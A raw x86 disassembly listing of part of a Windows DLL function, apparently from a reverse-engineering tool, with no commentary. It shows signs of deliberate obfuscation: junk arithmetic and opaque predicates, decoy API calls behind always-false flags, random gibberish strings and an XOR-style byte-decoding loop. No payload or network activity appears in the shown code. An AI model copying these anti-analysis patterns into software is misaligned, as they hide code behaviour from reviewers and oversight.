mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x38], 0x884c
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x18], 0xfff9
mov dword [ebp - 0x34], 0x69aed23b
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
push 4
setle dl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
imul ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
cmp ecx, 0xb722
setne dl
xor ecx, ecx
cmp eax, edx
pop eax
setne cl
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x18]
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x18], 0xa473eb90
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10034e29
push ebx
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov dword [ebp - 0x18], ebx
jmp 0x10034e4e
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10034e41
push ebx
push ebx
push 0x76
call dword [sym.imp.ADVAPI32.dll_CopySid]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1a4]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x10034e2e
push 0x5c
pop eax
mov word [ebp - 0x58], ax
mov ecx, ebx
mov eax, edi
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x5f], 0x310c034f
mov byte [ebp - 0x5b], 0xbd
mov dword [ebp - 0x28], eax
cmp eax, edi
jne 0x10034e7b
push 4
pop ecx
push ecx
pop eax
jmp 0x10034ea6
movzx edx, byte [ebp + eax - 0x5f]
sub eax, ecx
movzx eax, byte [ebp + eax - 0x62]
movzx eax, word [ebp + eax*2 - 0x58]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0x60]
mov word [ebp + eax*2 - 0x58], cx
mov ecx, ebx
mov eax, dword [ebp - 0x28]
add eax, edi
mov dword [ebp - 0x28], eax
cmp eax, 6
jb 0x10034e70
xor eax, eax
mov dword [ebp - 0x108], 7
mov word [ebp - 0x56], ax
lea ecx, [ebp - 0x11c]
mov word [ebp - 0x11c], ax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x10c], ebx
call fcn.1000d22d
mov byte [ebp - 4], 0xd
mov eax, esi
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x2c], 0xb5052061
mov dword [ebp - 0x1c], 0xde0980db
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x18], 0x7924a04c
cmp dword [ebp - 0x2c], ebx
jne 0x10034f08
mov eax, ebx
cmp eax, 0xcb4e76ab
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
test eax, eax
mov eax, dword [ebp - 0x2c]
setg cl
sub edx, ecx
xor ecx, ecx
cmp eax, 0xffffffff
setl cl
xor eax, eax
cmp ecx, edx
setge al
xor edx, edx
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp eax, edx
setne cl
imul eax, ecx, 3
test eax, eax
je 0x10035027
mov dword [ebp - 0x18], 0xffffffff
xor edx, edx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 0xfffffff9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 0x8e21
setg al
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x3c], ecx
xor ecx, ecx
cmp dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x24]
setl cl
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setg cl
xor edx, edx
sub eax, ecx
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setne dl
xor eax, eax
cmp edx, 0xaac0
setne al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
neg eax
mov dword [ebp - 0x18], eax
jmp 0x10035173
push edi
lea ecx, [ebp - 0x194]
call fcn.10004f00
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x18], ebx
jmp 0x1003504b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x194]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1003503c
mov dword [ebp - 0x1c], ebx
jmp 0x100350ad
push 3
lea ecx, [ebp - 0x140]
call fcn.10004f00
push 3
mov dword [ebp - 0x18], ebx
pop edx
jmp 0x1003507d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x140]
mov dword [eax + ecx*4], 0x1603
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003506a
mov dword [ebp - 0x18], ebx
jmp 0x1003509a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x140]
mov dword [eax + ecx*4], 0xa1ae
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10035087
lea ecx, [ebp - 0x140]
call fcn.10004f62
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 5
jge 0x10035055
mov dword [ebp - 0x30], 0x2638
cmp dword [ebp - 0x30], 0x2804
jle 0x10035100
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov dword [ebp - 0x34], ebx
mov eax, ebx
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
add eax, ebx
mov ecx, 0x1007e2d8
cdq
push edx
push eax
call fcn.10004c4e
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x82d
jl 0x100350d4
inc ebx
push 0
mov dword [ebp - 0x34], ebx
cmp ebx, 0x7c7f
pop ebx
jl 0x100350cc
mov dword [ebp - 0x24], ebx
jmp 0x10035118
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x194]
mov dword [eax + ecx*4], 0x5c50
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10035105
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x30], 0x22e2
jge 0x1003515d
mov edx, str.bujpbond_aijwaq_bflygu_gnmwbh_dvbjvrom_hrhabvmv_sqsls_akwvw_ydhk_tvuhe
mov ecx, 0x1007e2d8
call fcn.1000714a
jmp 0x1003515d
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0x194]
mov byte [ebp - 4], 0xd
call fcn.10004f62
mov dword [ebp - 0x2c], ebx
jmp 0x10035225
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x1c], ebx
jmp 0x10035194
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xac], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10035187
mov dword [ebp - 0x1c], ebx
jmp 0x100351ad
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x74], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003519f
mov eax, dword [ebp - 0xac]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xac]
cmp eax, ecx
mov eax, 0xf9ab13fd
setg dl
add edx, 6
cmp eax, edx
mov eax, dword [ebp - 0xa8]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
mov ecx, 0xffff
sete dl
sub ecx, eax
add ecx, dword [ebp - 0x1c]
cmp ecx, edx
jne 0x10035204
mov eax, ebx
cmp dword [ebp - 0xac], ebx
je 0x10035206
mov eax, esi
mov dword [ebp - 0x18], eax
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xa8]
cmp ecx, eax
setg dl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x74], eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffef
jne 0x1003517b
push 0x5f
pop eax
mov ecx, ebx
mov word [ebp - 0x54], ax
mov byte [ebp - 0x40], bl
mov eax, edi
mov byte [ebp - 0x3f], 0xfd
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], ecx
cmp eax, edi
jae 0x10035348
mov dword [ebp - 0x24], 0x8e5
cmp dword [ebp - 0x24], 0xcbd
jle 0x100352cb
mov dword [ebp - 0x34], ebx
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, eax
mov dword [ebp - 0x18], 0x7675
mov dword [ebp - 0x28], ecx
mov eax, ebx
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
add eax, ecx
mov ecx, 0x1007e2d8
or eax, ebx
cdq
push edx
push eax
call fcn.10004c4e
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x1300
jl 0x1003527b
dec ecx
dec dword [ebp - 0x18]
push 0
mov dword [ebp - 0x28], ecx
pop ebx
jne 0x10035273
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x4e23
jl 0x10035267
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x1c9c
jl 0x10035262
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
movzx edx, byte [ebp + eax - 0x3f]
sub eax, ecx
movzx eax, byte [ebp + eax - 0x42]
movzx eax, word [ebp + eax*2 - 0x54]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [ebp + eax - 0x40]
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x24], 0x880
mov word [ebp + eax*2 - 0x54], cx
jge 0x10035331
mov edx, str.vodwe_lqjxxeuxx_ejxivjo_ihmn_kusragi_rxusf_vdch_jlq_huzdyl_szuolnb_owlmo_fujpnd_wtse_alr
mov ecx, 0x1007e2d8
call fcn.1000714a
jmp 0x10035331
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
add eax, edi
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x30], eax
jmp 0x10035247
xor eax, eax
mov word [ebp - 0x52], ax
mov dword [ebp - 0x1c], 0xac204e2d
mov dword [ebp - 0x2c], 0x188753e1
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x30], 0xe266bc59
mov dword [ebp - 0x18], ebx
jmp 0x10035380
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x84], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003536f
mov dword [ebp - 0x1c], 0xfffffff3
jmp 0x10035417
mov dword [ebp - 0x28], 0x1ba028ea
lea ecx, [ebp - 0x1b0]
push esi
call fcn.10004f00
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x18], ebx
jmp 0x100353c0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1b0]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100353b1
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
test eax, eax
setg cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x38], 6
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10035409
push 0x1214
push 0x658
push 0x808
push 0x244
push ebx
call dword [sym.imp.USER32.dll_SetRect]
lea ecx, [ebp - 0x1b0]
call fcn.10004f62
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x12
jg 0x10035392
mov dword [ebp - 0x2c], ebx
jmp 0x10035531
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x48], 0xb9878ff5
mov dword [ebp - 0x3c], 0x5d9aeb8e
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x84], ebx
jne 0x100354c6
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0xe88fefd
setne al
xor ecx, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x3c], eax
setge cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x84]
cmp dword [ebp - 0x30], eax
je 0x100354c6
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov ecx, 0x369b4a57
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x38]
sub ecx, eax
xor eax, eax
cmp ecx, edx
setge al
sub eax, 0x7ea9b924
neg eax
sbb eax, eax
add eax, 0x590885d0
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x84], ecx
jle 0x1003551d
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x84]
mov dword [ebp - 0x3c], 0x7b3fa872
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x10035429
xor eax, eax
mov dword [ebp - 0x1e8], 7
mov word [ebp - 0x1fc], ax
lea ecx, [ebp - 0x1fc]
lea eax, [ebp - 0x54]
mov dword [ebp - 0x1ec], ebx
push eax
call fcn.1000d22d
mov byte [ebp - 4], 0x13
mov eax, ebx
mov dword [ebp - 0x38], ebx
cmp eax, edi
jae 0x10035643
mov dword [ebp - 0x18], 0x70c1
cmp dword [ebp - 0x18], 0x7463
jle 0x100355e9
mov ecx, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], ebx
mov eax, ebx
mov ebx, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
xor eax, ebx
or eax, ecx
mov ecx, 0x1007e2d8
cdq
push edx
push eax
call fcn.10004c4e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x7594
jl 0x10035594
inc ebx
push 0
mov dword [ebp - 0x34], ebx
cmp ebx, 0x4619
pop ebx
jl 0x1003558c
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x732f
jl 0x10035589
push 0x1175
push 0x2116
push 0x2201
call dword [sym.imp.USER32.dll_EnableScrollBar]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x18], 0x6d98
mov word [ebp + eax*2 - 0x54], cx
jge 0x10035633
mov edx, str.gsnwjkez_xaierpfwz_hkasmnj_tukohrv_uzu_pbmnmx_mnmgrnnlu_lswdzwrz_qdnyt_qlra_omsbv_xwrksyvoa_yais
mov ecx, 0x1007e2d8
call fcn.1000714a
jmp 0x10035630
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x38], eax
jmp 0x1003556c
or edi, 0xffffffff
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x18], ebx
jmp 0x1003566a
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10035667
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffd
jle 0x1003564e
push dword [ebp - 0x10c]
cmp dword [ebp - 0x108], 8
lea eax, [ebp - 0x11c]
push ebx
cmovae eax, dword [ebp - 0x11c]
lea ecx, [ebp - 0x214]
push eax
call fcn.1000d2b5
cmp eax, edi
je 0x100356b3
push edi
push ebx
lea ecx, [ebp - 0x1fc]
push ecx
push esi
push eax
lea ecx, [ebp - 0x214]
call fcn.1000f6aa
jmp 0x10035670
mov dword [ebp - 0x1c], 0xd5464b5f
mov dword [ebp - 0x18], 0x2bd7b1c2
mov dword [ebp - 0x18], ebx
jmp 0x100356d0